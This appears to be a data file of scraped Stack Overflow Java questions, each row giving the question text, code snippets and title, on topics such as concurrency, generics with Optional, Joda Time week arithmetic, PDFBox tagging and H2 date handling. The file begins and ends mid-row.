, n4 , n5 , n6 , n7 , n8 } , Integers ] ]",find the set of integers for which two linear equalities holds true +Java,"I have a method in Java that call several other methods . This method is being called from several threads , in a fixed thread pool . The number of workers is the same as the number of available processors ( cores ) . When I profile the program execution using VisualVM the times of method1 ( ) and method2 ( ) times are very short , but query ( ) self-time is very long . But the method has no other code apart from the two calls . There might be synchronization inside method1 ( ) and method2 ( ) , but nothing obvious in code that I have control of.When I reduce the number of workers in the pool to 1 , this self-time is almost gone . Both single-threaded and multi-threaded execution times of the whole program are almost the same . I think it means that my method query ( ) is waiting for something.There are no deadlocks , the execution finishes fine . The two methods method1 ( ) and method2 ( ) call a lot of other things including library classes in obfuscated jars , so it is not easy for me to debug it . However the query ( ) method is called directly from the worker threads , using java.util.concurrent.ExecutorService .",public void query ( ) { method1 ( ) ; method2 ( ) ; },How do I detect what is my method waiting for ? +Java,"I wrote the following test when exploring Java 's enhanced for loop : I was surprised to find my test ouputted : It appears then that a separate instance of numbers is created when the loop is first executed , and is made immutable . From there , any changes made to numbers are only made to the version which exists outside the loop condition . I 've confirmed the behavior is at least similar to this by replacing the loop with : which gave : My question is : what behavior is being hidden from us here ? Is a second version of numbers copied ? Is it actually immutable , or have I not poked it hard enough ? In other words : What 's happening under the hood of an enhanced for loop ?",class test { int number = 0 ; public static void main ( String args [ ] ) { new test ( ) ; } public test ( ) { int [ ] numbers = getNumbers ( ) ; for ( int number : numbers ) { System.out.println ( `` number : `` + number ) ; System.out.println ( `` numbers [ 0 ] : `` + numbers [ 0 ] ) ; numbers = getNumbers ( ) ; } } public int [ ] getNumbers ( ) { number++ ; int [ ] numbers = new int [ 5 ] ; for ( int i = 0 ; i < numbers.length ; i++ ) numbers [ i ] = number ; return numbers ; } } number : 1numbers [ 0 ] : 1number : 1numbers [ 0 ] : 2number : 1numbers [ 0 ] : 3number : 1numbers [ 0 ] : 4number : 1numbers [ 0 ] : 5 for ( int number : numbers ) { System.out.println ( `` number : `` + number ) ; numbers = null ; } number : 1number : 1number : 1number : 1number : 1,What 's happening under the hood of an enhanced for loop ? +Java,"I have a very strange problem with NullPointerException . Code example is as follows : Now , I have got an issue from production having a stack trace : I am unable to produce that kind of stack trace myself . It maybe some environment issue that for some reason line numbers do n't match . If I have null references on any variable stack trace points to that specific line but never to line 143.But what I want to ask is : is it possible to produce NullPointerException at line 143 specifically ?","... ... public String [ ] getParams ( ... ) { ... ... ... ... 143 return new String [ ] { 144 getUserFullName ( ) ,145 StringUtil.formatDate ( sent ) , . tiltu , . StringUtil.initCap ( user.getName ( ) ) , . vuosi.toString ( ) , . asiatyyppi [ 0 ] + `` `` + lisatiedot [ 0 ] , . asiatyyppi [ 1 ] + `` `` + lisatiedot [ 1 ] , . alaviitteet [ 0 ] ,152 alaviitteet [ 1 ] } ; 153 } java.lang.NullPointerException at package.EmailService.getParams ( EmailService.java:143 ) ...",NullPointerException on return new [ ] +Java,I have 2 ArrayLists in Java : The productSampleList has size 5.Why after this segment code is executed . mProductList has size 4 ? Does we have any way to avoid this ? I want the mProductList have size 5 as the same as productSampleList . Thanks !,mProductList = new ArrayList < ProductSample > ( ) ; mProductList2 = new ArrayList < ProductSample > ( ) ; mProductList = productSampleList ; mProductList2 = productSampleList ; mProductList2 .remove ( 3 ) ;,Assign operator in Java +Java,"I do n't understand why the following code does n't compile : Compile error : orElse ( org.springframework.http.ResponseEntity < com.company.util.response.JSendFailResponse > ) in Optional can not be applied to ( org.springframework.http.ResponseEntity < com.company.util.response.JSendResponse > ) While this code ( which I think is logically the same code ) does compile : The problem seems to be that the RequestErrorHandler < > ( ) .validate method returns a class called JSendFailResponse if the validation fails . JSendFailResponse is a subclass of JSendResponse , which is what is ultimately returned . It seems like the lambda code is not able to understand that JSendFailResponse is a JSendResponse.I can get it to compile if I cast validationErrors to a JSendResponse in the map lambda , but then I lose some of the fields on the JSendFailResponse.EDIT : This code also fails to compile : EDIT2 : Here is a simplified example you can copy/paste into your IDE to see for yourself.EDIT3 : I was thinking I understood this issue based on the help I 've received so far , but the following code compiles and works . So the issue does not seem to be that the map and the orElse must return the same type , it seems to be related to paramterization . So , map can emit TypeA and orElse can emit TypeB if its a subclass of TypeA . But they can not emit differing parameterized types of List . List < TypeA > and List < TypeB > do n't seem to be considered subtypes of each other and now that I think about it , they aren't.ResponseEntity < JSendResponse > is a different type than ResponseEntity < JSendFailResponse > . If I were returning plain JSendResponse and JSendFailResponse from the lambdas , that would probably work . But I 'm not , I 'm emitting different versions of ResponseEntity , which are not really related by hierarchy . So I guess it comes down to how Optional supports ( or does n't support ) wildcard generics . I ca n't set the type of the Optional to ResponseEntity < ? extends JSendResponse > , so I am limited to strict type hierarchies.EDIT4 : The above example is incorrect because the types are switched from the original case . I think I get it now , thanks everybody .","private ResponseEntity < JSendResponse > buildResponse ( RequestModel requestModel , RequestModelParamConverter paramConverter , Supplier < String > xsdSupplier , Supplier < String > xmlTemplateSupplier ) { return Optional.ofNullable ( new RequestErrorHandler < > ( ) .validate ( validator , requestModel ) ) .map ( validationErrors - > new ResponseEntity < > ( validationErrors , HttpStatus.BAD_REQUEST ) ) .orElse ( this.buildResponseForValidRequest ( requestModel , paramConverter , xsdSupplier , xmlTemplateSupplier ) ) ; } private ResponseEntity < JSendResponse > buildResponse ( RequestModel requestModel , RequestModelParamConverter paramConverter , Supplier < String > xsdSupplier , Supplier < String > xmlTemplateSupplier ) { JSendResponse validationErrors = new RequestErrorHandler < > ( ) .validate ( validator , requestModel ) ; if ( validationErrors == null ) { return this.buildResponseForValidRequest ( requestModel , paramConverter , xsdSupplier , xmlTemplateSupplier ) ; } else { return new ResponseEntity < > ( validationErrors , HttpStatus.BAD_REQUEST ) ; } } private ResponseEntity < ? extends JSendResponse > buildResponse ( RequestModel requestModel , RequestModelParamConverter paramConverter , Supplier < String > xsdSupplier , Supplier < String > xmlTemplateSupplier ) { return Optional.ofNullable ( new RequestErrorHandler < > ( ) .validate ( validator , requestModel ) ) .map ( validationErrors - > new ResponseEntity < > ( validationErrors , HttpStatus.BAD_REQUEST ) ) .orElse ( this.buildResponseForValidRequest ( requestModel , paramConverter , xsdSupplier , xmlTemplateSupplier ) ) ; } import java.util . * ; public class GemLamDemo { public static void main ( String ... args ) { GemLamDemo gld = new GemLamDemo ( ) ; gld.getList ( null ) ; } public List < ? extends TypeA > getList ( TypeA ta ) { return Optional.ofNullable ( ta ) .map ( a - > new ArrayList < TypeA > ( Arrays.asList ( a ) ) ) .orElse ( new ArrayList < TypeB > ( Arrays.asList ( new TypeB ( ) ) ) ) ; } public class TypeA { } public class TypeB extends TypeA { } } Optional.ofNullable ( val1 ) .map ( a - > new TypeA ( ) ) .orElse ( new TypeB ( ) ) ;",Subclasses with Java 8 lambdas and Optional +Java,"When I was reading Wikipedias 's article about Double Checked Locking idiom , I 'm confused about its implementation : I simply do n't understand why we need to create wrapper . Is n't this enough ? Is it because using wrapper can speed up initialization because wrapper is stored on stack and helperWrapper is stored in heap ?",public class FinalWrapper < T > { public final T value ; public FinalWrapper ( T value ) { this.value = value ; } } public class Foo { private FinalWrapper < Helper > helperWrapper = null ; public Helper getHelper ( ) { FinalWrapper < Helper > wrapper = helperWrapper ; if ( wrapper == null ) { synchronized ( this ) { if ( helperWrapper == null ) { helperWrapper = new FinalWrapper < Helper > ( new Helper ( ) ) ; } wrapper = helperWrapper ; } } return wrapper.value ; } } if ( helperWrapper == null ) { synchronized ( this ) { if ( helperWrapper == null ) { helperWrapper = new FinalWrapper < Helper > ( new Helper ( ) ) ; } } },Why is this double-checked lock implemented with a separate wrapper class ? +Java,"I want to provide a java application with a Microsoft Ribbon like view . After a quick search I found the flamingo project useful . The problem is that I want to have a right-to-left ribbon menu and I can not . I just want to know if the API provides any support for right-to-left ribbon tasks , ribbonbands , etc ? I did try to set component orientation for an instance of JRibbonBand in this way : and also for the main ribbon : Unfortunately it did not work except for the application menu button ( the circular button on the top ) .Is there any other way to do so ?",JRibbonBand band1 = new JRibbonBand band1.setComponentOrientation ( ComponentOrientation.RIGHT_TO_LEFT ) ; frame.getRibbon ( ) .setComponentOrientation ( ComponentOrientation.RIGHT_TO_LEFT ) ;,Does flamingo supports right-to-left ribbon menu ? +Java,"I have this class : The method hardEquals ( T t ) is not bounded as I want . What I want is bound T to be same class of this . In other words when I extend the class Addressable , with the concrete class MyAddressable , I want that the method hardEquals ( ) has the signature : For completeness : Is it possible to achieve what I want ? If the answer is no , is it so stupid my class constraint ?",public abstract class Addressable { abstract < T extends `` this '' Addressable > void hardEquals ( T t ) ; } void hardEquals ( MyAddressable t ) ; public class MyAddressable extends Addressable { void hardEquals ( MyAddressable t ) ; },How to bound the class type of the subclass +Java,For some reason I ca n't wrap my head around how to turn this deeply nested list into a new list using streams.I have tried many different iterations like : I 'm full of confusion ... I could easily do this with for loops but I 've heard that streams are simple and easy and I would like to start using them more .,every A in List < A > contains - > List < B > where every B contains - > List < C > where every C contains - > List < String > List < String > newlist = listA.getB ( ) .stream ( ) .filter ( b - > b.getC ( ) .stream ( ) .filter ( c - > c.getPeople ) .collect ( Collectors.toList ( ) ),Java Streams and List of List of List +Java,"I came across a weird scenario in java today while coding around . I have a try..catch block in my method which does not have any throws clause and I am able to throw the exception object caught in the catch block . It is an object of the Exception class , hence it is not an unchecked exception . Also , It is not printing the stacktrace if exception arises instead the exception is just getting swallowed.Below is my code example , However , if I am throwing a new exception object instead of the caught exception object , compiler is asking me to have a throws clause in the method signature . N.B : I am facing this situation when running in Java 7 or 8.I am wondering , where is the thrown object going to ? Anyone with any idea on this please ...","public class ExceptionTest { public void test ( ) { try { // Some code which may throw exception . } catch ( Exception ex ) { // Compiler should ask me to have a *throws Exception* in the signature , when I am throwing an exception object . throw ex ; } } }","JDK 1.7 onwards , throwing an exception object from catch block does not require a throws clause ! ! ! Why is this so ?" +Java,From the above code can anyone explain what is going behind when JVM encounters this line ( s==s2 ) ?,public static void main ( String [ ] a ) { String s = new String ( `` Hai '' ) ; String s1=s ; String s2= '' Hai '' ; String s3= '' Hai '' ; System.out.println ( s.hashCode ( ) ) ; System.out.println ( s1.hashCode ( ) ) ; System.out.println ( s2.hashCode ( ) ) ; System.out.println ( s3.hashCode ( ) ) ; System.out.println ( s==s2 ) ; System.out.println ( s2==s3 ) ; },How `` == '' works for objects ? +Java,"We are building an Android application that involves image editing . A few of the features include rotating an image and erasing part of the image.We are using the following library : https : //github.com/nimengbo/StickerViewWe have successfully created a function to rotate and erase the image . However , when we tried to perform the following actions : Rotating an image at a certain degree.Then , erasing the image.We found the following bug : When we tried to erase the rotated image , the erased path did not reflect the path which our finger traced on the screen.From the above image , the yellow line is the actual movement of the finger ( straight down vertical across the sticker ) . But , the resulting erased path was found to be diagonal.This problem only exists when the image is rotated . It does not exist when the image is not rotated . After further debugging , we have a few assumptions from the above problems : Due to the rotated image , the x and y absolution position is changed . Thus , the path does not reflect the correct path by the touch routes.How can we ensure that the path is still referencing the right path on what the finger is touching even after being rotated ? Here is the code we have in our StickerView.java class that extends ImageView class.onTouchEventonDrawgetAbsolutePosition function","@ Overridepublic boolean onTouchEvent ( MotionEvent event ) { int action = MotionEventCompat.getActionMasked ( event ) ; float [ ] pointXY = new float [ 2 ] ; pointXY = getAbsolutePosition ( event.getX ( 0 ) , event.getY ( 0 ) ) ; float xPoint = pointXY [ 0 ] ; float yPoint = pointXY [ 1 ] ; switch ( action ) { case MotionEvent.ACTION_DOWN : // first touch // if it is inside the image if ( isInBitmap ( event ) ) { // set isInSide to true isInSide = true ; // if it is a scratch if ( doScratch ) { // start creating the scratch path mScratchPath = new Path ( ) ; mScratchPath.moveTo ( xPoint , yPoint ) ; mScratchPath.lineTo ( xPoint , yPoint ) ; paths.add ( new Pair < Path , Paint > ( mScratchPath , mScratchCurrentPaint ) ) ; } } break ; case MotionEvent.ACTION_MOVE : // if two fingers touch and is not a scratch , // then it means we can rotate / resize / pan if ( isPointerDown & & ! doScratch ) { // reset matrix matrix.reset ( ) ; // get the center point scaledImageCenterX = ( mImageWidth * mScaleFactor ) / 2 ; scaledImageCenterY = ( mImageHeight * mScaleFactor ) / 2 ; // ROTATE THE IMAGE ! ! ! matrix.postRotate ( lastRotateDegree , scaledImageCenterX , scaledImageCenterY ) ; // done to call onDraw invalidate ( ) ; } break ; } if ( operationListener ! = null ) { operationListener.onEdit ( this ) ; } // if it is a scratch if ( doScratch ) { // then for every point , create a scratch path mScratchPath.lineTo ( xPoint , yPoint ) ; invalidate ( ) ; } else { mScaleDetector.onTouchEvent ( event ) ; mRotateDetector.onTouchEvent ( event ) ; mMoveDetector.onTouchEvent ( event ) ; mShoveDetector.onTouchEvent ( event ) ; } return handled ; } @ Overrideprotected void onDraw ( Canvas canvas ) { super.onDraw ( canvas ) ; // if the image exists if ( mBitmap ! = null ) { // save canvas canvas.save ( ) ; // if it is a scratch if ( doScratch ) { // scratch the image mFillCanvas.drawColor ( Color.TRANSPARENT , PorterDuff.Mode.CLEAR ) ; // Draw our surface , nice an pristine final Drawable surface = mScratchSurface ; if ( surface ! = null ) { surface.draw ( mFillCanvas ) ; } //Scratch the surface if ( paths ! = null ) { for ( Pair < Path , Paint > p : paths ) { mFillCanvas.drawPath ( p.first , p.second ) ; } } mBitmap = mFillCache ; } canvas.drawBitmap ( mBitmap , matrix , bitmapPaint ) ; canvas.restore ( ) ; } } public float [ ] getAbsolutePosition ( float Ax , float Ay ) { float [ ] mMatrixValues = new float [ 9 ] ; matrix.getValues ( mMatrixValues ) ; float x = mImageWidth - ( ( mMatrixValues [ Matrix.MTRANS_X ] - Ax ) / mMatrixValues [ Matrix.MSCALE_X ] ) - ( mImageWidth - getTranslationX ( ) ) ; float y = mImageHeight - ( ( mMatrixValues [ Matrix.MTRANS_Y ] - Ay ) / mMatrixValues [ Matrix.MSCALE_X ] ) - ( mImageHeight - getTranslationY ( ) ) ; return new float [ ] { x , y } ; }",Erasing a rotated image in Android does not show erase the correct path +Java,"Today we use the concurrent mark sweep specifying it like this : I seen some articles recommending using additional parameters in this form : From what I read , the UseParNewGC is specified automatically when using concurrent mark sweeper , and the CMSIncrementalMode required if the machine has only 1 or 2 CPU's.So , any sense to use these additional parameters , considering the fact most of our machines are quad-core ( making the amount of CPU visible to system 4 or 8 ) ? Thanks !",-XX : +UseConcMarkSweepGC -XX : +UseConcMarkSweepGC -XX : +CMSIncrementalMode -XX : +UseParNewGC,Any sense to specify additional GC to the concurrent one ? +Java,"I 'm pretty new with patterns and I 'm studying Decorator Pattern for a program I have to write . Studying online , I found an example of a Decorator Pattern ( it is Java pseudo-code ) : When I analyzed the example , I realized that in the past I made a very similar pattern but in different way : In my opinion , the second example can be used in same situations where a Decorator Pattern can be used , but it 's more flexible ( you may , by example , remove or reorder the components in the list ) , so my questions : Is solution 1 ( correct Decorator Pattern ) better than solution 2 ? Why ? Is it possible to add functions for removing instances in solution 1 ? Is it possible to add functions for reordering instances in solution 1 ?","class Solution1 { static interface Component { void doStuff ( ) ; } static class MyComponent implements Component { public void doStuff ( ) { // ... } } static class ComponentDecorator implements Component // This is the Decorator pattern . { private final Component component ; public ComponentDecorator ( Component component ) { this.component = component ; } public void doStuff ( ) { this.component.doStuff ( ) ; } } static class ComponentDecorator1 extends ComponentDecorator { public ComponentDecorator1 ( Component component ) { super ( component ) ; } private void doExtraStuff1 ( ) { // ... } public void doStuff ( ) { super.doStuff ( ) ; doExtraStuff1 ( ) ; } } static class ComponentDecorator2 extends ComponentDecorator { public ComponentDecorator2 ( Component component ) { super ( component ) ; } private void doExtraStuff2 ( ) { // ... } public void doStuff ( ) { super.doStuff ( ) ; doExtraStuff2 ( ) ; } } public static void main ( String [ ] args ) { MyComponent c = new MyComponent ( ) ; ComponentDecorator1 cd1 = new ComponentDecorator1 ( c ) ; ComponentDecorator2 cd2 = new ComponentDecorator2 ( cd1 ) ; cd2.doStuff ( ) ; // Executes Component.doStuff , ComponentDecorator1.doExtraStuff1 , ComponentDecorator2.doExtraStuff2 } } ; import java.util . * ; class Solution2 { static interface Component { void doStuff ( ) ; } static class MyComponent implements Component { public void doStuff ( ) { // ... } } static class ComponentDecorator implements Component // This is NOT the Decorator pattern ! { private final List < Component > components = new ArrayList < Component > ( ) ; public ComponentDecorator ( ) { } public ComponentDecorator addComponent ( Component component ) { this.components.add ( component ) ; return this ; } public void removeComponent ( Component component ) // Can Decorator do this ? { // ... } public void doStuff ( ) { for ( Component c : this.components ) c.doStuff ( ) ; } } static class ComponentDecorator1 implements Component { public ComponentDecorator1 ( ) { } private void doExtraStuff1 ( ) { // ... } public void doStuff ( ) { doExtraStuff1 ( ) ; } } static class ComponentDecorator2 implements Component { public ComponentDecorator2 ( ) { } private void doExtraStuff2 ( ) { // ... } public void doStuff ( ) { doExtraStuff2 ( ) ; } } public static void main ( String [ ] args ) { ComponentDecorator cd = new ComponentDecorator ( ) ; cd.addComponent ( new MyComponent ( ) ) ; cd.addComponent ( new ComponentDecorator1 ( ) ) ; cd.addComponent ( new ComponentDecorator2 ( ) ) ; cd.doStuff ( ) ; // Executes MyComponent.doStuff , ComponentDecorator1.doExtraStuff1 , ComponentDecorator2.doExtraStuff2 } }",Decorator Pattern design +Java,"I have tagged a pdf using pdfbox . How I was tagged : Instead of extract text and tagging I am adding mcid 's to the existing content stream ( both open and closing ex : /p < < MCID 0 > > BDC .. .. .. EMC ) and then I am adding that marked content to document root catalog structure.What working : Almost everything is working fine like completely tagged pdf . It is passing the PAC3 accessibility checker also.What not working : After tagging one future Is missing from tag structure . There is an option called `` Find Tag from Selection '' . Is not working . It is going to last tag while I select some test and press `` Find tag from selection '' in root structure . Please find the pdf in below link.https : //drive.google.com/file/d/11Lhuj50Bb9kChvD0kL_GOHQn4RNKZ0hR/view ? usp=sharingParent tree : https : //drive.google.com/file/d/109xhUpqsQSFLPJB2nhXoU9ssMKnyht3G/view ? usp=sharingextra doc with tagging and parent tree : https : //drive.google.com/file/d/1yzZSsjkb5_dGfq1Wu3VxsH73vr3alRmC/view ? usp=sharingPlease help me to solve this problem.New Problem : I observed that while Jaws reading my tagged document , I am pressing controls like ctl+shift+5 in windows machine . It will show the options like drop down > '' Read based on tagged structure '' or > '' Top left to bottom right '' and below two radio buttons Read curent page Read all pages image you can see . Shift+CTL+5 in adobe dc you can see image hereI selected `` read based on tagging structure and Read current page '' Now the jaws not reading the Tag structure . But if i use same doc for `` Read entire document '' it is reading perfect ? Link to doc : https : //drive.google.com/file/d/1CguMHa4DikFMP15VGERnPNWRq5vO3u6I/view ? usp=sharingAny help ?","//Adding tagstokens.add ( ++ind , type_check ( t_ype , page ) ) ; currentMarkedContentDictionary = new COSDictionary ( ) ; currentMarkedContentDictionary.setInt ( COSName.MCID , mcid ) ; if ( altText ! = null & & ! altText.isEmpty ( ) ) { currentMarkedContentDictionary.setString ( COSName.ALT , altText ) ; } mcid++ ; tokens.add ( ++ind , currentMarkedContentDictionary ) ; tokens.add ( ++ind , Operator.getOperator ( `` BDC '' ) ) ; // Adding marked content to root structurestructureElement.appendKid ( markedContent ) ; currentSection.appendKid ( structureElement ) ;",`` Find Tag from Selection '' is not working in tagged pdf ? +Java,I want to replace `` from a string with ^.and the output is : why I am getting extra `` in start of string and ^ in between stringI am expecting :,"String str = `` hello \ '' there '' ; System.out.println ( str ) ; String str1 = str.replaceAll ( `` \ '' '' , `` ^ '' ) ; System.out.println ( str1 ) ; String str2= str1.replaceAll ( `` ^ '' , `` \ '' '' ) ; System.out.println ( str2 ) ; hello `` therehello ^there '' hello ^there hello `` there",Getting `` when trying to replace a character in string +Java,"When computing Cartesian Products using streams , I can produce them in parallel , and consume them in order , which the following code demonstrates : This will print everything perfectly in order , now consider the following code where I want to add it to a list , while preserving the order.Now it does not print in order ! This is understandable given that I nowhere demand that the order should be preserved.Now the question : Is there a way to collect ( ) or is there a Collector that preserves order ?","int min = 0 ; int max = 9 ; Supplier < IntStream > supplier = ( ) - > IntStream.rangeClosed ( min , max ) .parallel ( ) ; supplier.get ( ) .flatMap ( a - > supplier.get ( ) .map ( b - > a * b ) ) .forEachOrdered ( System.out : :println ) ; int min = 0 ; int max = 9 ; Supplier < IntStream > supplier = ( ) - > IntStream.rangeClosed ( min , max ) .parallel ( ) ; List < Integer > list = supplier.get ( ) .flatMap ( a - > supplier.get ( ) .map ( b - > a * b ) ) .boxed ( ) .collect ( Collectors.toList ( ) ) ; list.forEach ( System.out : :println ) ;",Is it possible to use an ordered Collector with a parallel stream ? +Java,"I may be missing something here , but I ca n't seem to find an explanation in Joda Time 's documentation or really anywhere . It seems like Joda Time breaks down when calculating weeks when adding and subtracting weeks when you go from one year to the next.Can anyone explain why this happens and how to properly do this ? I get the following output from my code below : Original CodeAfter further testing , it gets even more confusing . I tried just adding and removing days instead of weeks and for some reason it seems to skip dates.Output : Further testing code","2015-01-08 - This is the current week2015-01-01 - Removed one week2014-12-25 - Removed one week2014-12-17 - Removed one week //for some reason , program backed 8 days here2014-12-10 - Removed one week2014-12-17 - Added one week2014-12-24 - Added one week2014-12-31 - Added one week2014-01-08 - Added one week //for some reason , program forwarded 8 days here , but it did not forward to 2015. import org.joda.time . * ; public class WonkyWeeks { int year ; int week ; public void backUpOneWeek ( ) { LocalDate today = new LocalDate ( ) .withDayOfWeek ( 4 ) .withWeekOfWeekyear ( week ) .withYear ( year ) ; LocalDate lastWeek = today.minusWeeks ( 1 ) ; week = lastWeek.getWeekOfWeekyear ( ) ; year = lastWeek.getYear ( ) ; System.out.println ( lastWeek+ '' - Removed one week '' ) ; } public void forwardOneWeek ( ) { LocalDate today = new LocalDate ( ) .withDayOfWeek ( 4 ) .withWeekOfWeekyear ( week ) .withYear ( year ) ; LocalDate nextWeek = today.plusWeeks ( 1 ) ; week = nextWeek.getWeekOfWeekyear ( ) ; year = nextWeek.getYear ( ) ; System.out.println ( nextWeek+ '' - Added one week '' ) ; } public void thisWeek ( ) { LocalDate thisWeek = new LocalDate ( ) .withDayOfWeek ( 4 ) .withWeekOfWeekyear ( week ) .withYear ( year ) ; System.out.println ( thisWeek+ '' - This is the current week '' ) ; } public static void main ( String [ ] args ) { WonkyWeeks wonky = new WonkyWeeks ( ) ; wonky.week = 2 ; wonky.year = 2015 ; wonky.thisWeek ( ) ; wonky.backUpOneWeek ( ) ; wonky.backUpOneWeek ( ) ; wonky.backUpOneWeek ( ) ; wonky.backUpOneWeek ( ) ; wonky.forwardOneWeek ( ) ; wonky.forwardOneWeek ( ) ; wonky.forwardOneWeek ( ) ; wonky.forwardOneWeek ( ) ; } } 2015-01-08 - This is the current week2015-01-07 - removed one day2015-01-06 - removed one day2015-01-05 - removed one day2015-01-04 - removed one day2015-01-03 - removed one day2015-01-02 - removed one day2015-01-01 - Removed one full week2014-12-31 - removed one day2014-12-30 - removed one day2014-12-29 - removed one day2014-12-28 - removed one day2014-12-27 - removed one day2014-12-26 - removed one day2014-12-25 - Removed one full week2014-12-23 - removed one day // For some reason , it skipped 2014-12-24 ? 2014-12-22 - removed one day2014-12-21 - removed one day2014-12-20 - removed one day2014-12-19 - removed one day2014-12-18 - removed one day2014-12-17 - Removed one full week2014-12-16 - removed one day2014-12-15 - removed one day2014-12-14 - removed one day2014-12-13 - removed one day2014-12-12 - removed one day2014-12-11 - removed one day2014-12-10 - Removed one full week2014-12-11 - added one day2014-12-12 - added one day2014-12-13 - added one day2014-12-14 - added one day2014-12-15 - added one day2014-12-16 - added one day2014-12-17 - Added one week2014-12-18 - added one day2014-12-19 - added one day2014-12-20 - added one day2014-12-21 - added one day2014-12-22 - added one day2014-12-23 - added one day2014-12-24 - Added one week2014-12-25 - added one day2014-12-26 - added one day2014-12-27 - added one day2014-12-28 - added one day2014-12-29 - added one day2014-12-30 - added one day2014-12-31 - Added one week2014-01-02 - added one day //Skipped 2014-01-01 and did not forward to 20152014-01-03 - added one day2014-01-04 - added one day2014-01-05 - added one day2014-01-06 - added one day2014-01-07 - added one day2014-01-08 - Added one week import org.joda.time . * ; public class WonkyWeeks { int year ; int week ; public void backUpOneWeek ( ) { LocalDate today = new LocalDate ( ) .withDayOfWeek ( 4 ) .withWeekOfWeekyear ( week ) .withYear ( year ) ; LocalDate adayago = today.minusDays ( 1 ) ; System.out.println ( adayago+ '' - removed one day '' ) ; LocalDate twodaysago = adayago.minusDays ( 1 ) ; System.out.println ( twodaysago+ '' - removed one day '' ) ; LocalDate threedaysago = twodaysago.minusDays ( 1 ) ; System.out.println ( threedaysago+ '' - removed one day '' ) ; LocalDate fourdaysago = threedaysago.minusDays ( 1 ) ; System.out.println ( fourdaysago+ '' - removed one day '' ) ; LocalDate fivedaysago = fourdaysago.minusDays ( 1 ) ; System.out.println ( fivedaysago+ '' - removed one day '' ) ; LocalDate sixdaysago = fivedaysago.minusDays ( 1 ) ; System.out.println ( sixdaysago+ '' - removed one day '' ) ; LocalDate lastWeek = sixdaysago.minusDays ( 1 ) ; week = lastWeek.getWeekOfWeekyear ( ) ; year = lastWeek.getYear ( ) ; System.out.println ( lastWeek+ '' - Removed one full week '' ) ; } public void forwardOneWeek ( ) { LocalDate today = new LocalDate ( ) .withDayOfWeek ( 4 ) .withWeekOfWeekyear ( week ) .withYear ( year ) ; LocalDate tomorrow = today.plusDays ( 1 ) ; System.out.println ( tomorrow+ '' - added one day '' ) ; LocalDate dayAfterTomorrow = tomorrow.plusDays ( 1 ) ; System.out.println ( dayAfterTomorrow+ '' - added one day '' ) ; LocalDate threeDaysFromNow = dayAfterTomorrow.plusDays ( 1 ) ; System.out.println ( threeDaysFromNow+ '' - added one day '' ) ; LocalDate fourDaysFromNow = threeDaysFromNow.plusDays ( 1 ) ; System.out.println ( fourDaysFromNow+ '' - added one day '' ) ; LocalDate fiveDaysFromNow = fourDaysFromNow.plusDays ( 1 ) ; System.out.println ( fiveDaysFromNow+ '' - added one day '' ) ; LocalDate sixDaysFromNow = fiveDaysFromNow.plusDays ( 1 ) ; System.out.println ( sixDaysFromNow+ '' - added one day '' ) ; LocalDate nextWeek = sixDaysFromNow.plusDays ( 1 ) ; week = nextWeek.getWeekOfWeekyear ( ) ; year = nextWeek.getYear ( ) ; System.out.println ( nextWeek+ '' - Added one week '' ) ; } public void thisWeek ( ) { LocalDate thisWeek = new LocalDate ( ) .withDayOfWeek ( 4 ) .withWeekOfWeekyear ( week ) .withYear ( year ) ; System.out.println ( thisWeek+ '' - This is the current week '' ) ; } public static void main ( String [ ] args ) { WonkyWeeks wonky = new WonkyWeeks ( ) ; wonky.week = 2 ; wonky.year = 2015 ; wonky.thisWeek ( ) ; wonky.backUpOneWeek ( ) ; wonky.backUpOneWeek ( ) ; wonky.backUpOneWeek ( ) ; wonky.backUpOneWeek ( ) ; wonky.forwardOneWeek ( ) ; wonky.forwardOneWeek ( ) ; wonky.forwardOneWeek ( ) ; wonky.forwardOneWeek ( ) ; } }",Joda Time minusweeks ( ) and plusweeks ( ) over year break 2014/2015 breakdown ? +Java,Potentially dumb : Assuming I have a string containing an operator what 's the best way to apply this operator ? What i tend to do is : for each kind of operator I have . Is there a better way ?,if ( n.getString ( 1 ) .equals ( `` < < `` ) ) { result = tmp1 < < tmp2 ; },Most elegant way to apply an operator found as a string in java ? +Java,"I have these long statements that I will refer to as x , y etc . here.My conditional statements ' structure goes like this : Is there a better , shorter way to write this thing ? Thanks",if ( x || y || z || q ) { if ( x ) do someth else if ( y ) do something if ( z ) do something else if ( q ) do something } else do smthing,if-else structure +Java,How can I make the Java Shell throw an AssertionError when an assert fails ?,C : \Users\Malvolio > jshell| Welcome to JShell -- Version 9.0.1| For an introduction type : /help introjshell > assert ( false ) jshell >,Enable assertions in Java Shell +Java,"I was reading about ways to end a thread in https : //docs.oracle.com/javase/7/docs/technotes/guides/concurrency/threadPrimitiveDeprecation.html , which is a link I found from the question How do you kill a thread in Java ? In the first link , they first discuss using a volatile variable to signal to the thread that you want to terminate . The thread is supposed to check this variable and cease operation if the variable has a value that means cease ( e.g . if it is null ) . So to terminate the thread , you would set that variable to null.Then they discuss adding interrupts to help with threads that block for long periods of time . They give the following example of a stop ( ) method that sets the volatile variable ( waiter ) to null and then ALSO throws an interrupt.I am just wondering , why would you need both ? Why not ONLY use interrupt ( ) , and then handle it properly ? It seems redundant to me .",public void stop ( ) { Thread moribund = waiter ; waiter = null ; moribund.interrupt ( ) ; },Why would you use both a boolean AND interrupt ( ) to signal thread termination ? +Java,"I 'm working on an object , specifically its one function , which looks like this : I really want to fix these side effects and refactor the object into functions that do only one thing . Is there an automated process in Eclipse to mark possible side effects ? If not , is there a manual algorithm I can follow so I do n't get lost down the rabbit hole ?","public class Dog { private ArrayList < Paw > paws ; private double age ; private Tongue tongue ; public Dog ( ArrayList < Paw > paws , double age , Tongue tongue ) { this.paws = paws ; this.age = age ; this.tongue = tongue ; } public void bark ( ) { // ... about 100 lines of side effects operating // on the object 's global members ... } }",How do I determine the side effects of a Java function ? +Java,"-509 vs 510I am seeing some kind of altered or erroneous data , with the use of JDBC . So I observe using H2 Database version 1.4.196 on Java 8 Update 151.Here is a complete example.Note how we retrieve the date value three times , first as a LocalDate object , secondly as text , and thirdly as an int year number extracted from a cast LocalDate object . In the text version we can see that the year is indeed negative . Mysteriously the LocalDate has a different year number and it is positive rather than negative . Seems like a bug.When run.ROW : 1 | 2017-01-23 | when as String : 2017-01-23 | year : 2017ROW : 2 | 0510-01-01 | when as String : -509-01-01 | year : 510So there seems to be something going on with JDBC being involved . Note how the year is presented as a positive 510 rather than a negative 509 . I do not understand this behavior.I can deduce that it is an issue within JDBC rather than within LocalDate . See this example code run live in IdeOne.com showing that a LocalDate object does indeed carry and report a negative year.Notice how we do not get converted from -509 to 510 when dealing with a LocalDate only , with no JDBC.ld : -0509-01-01ld.getYear ( ) : -509I opened 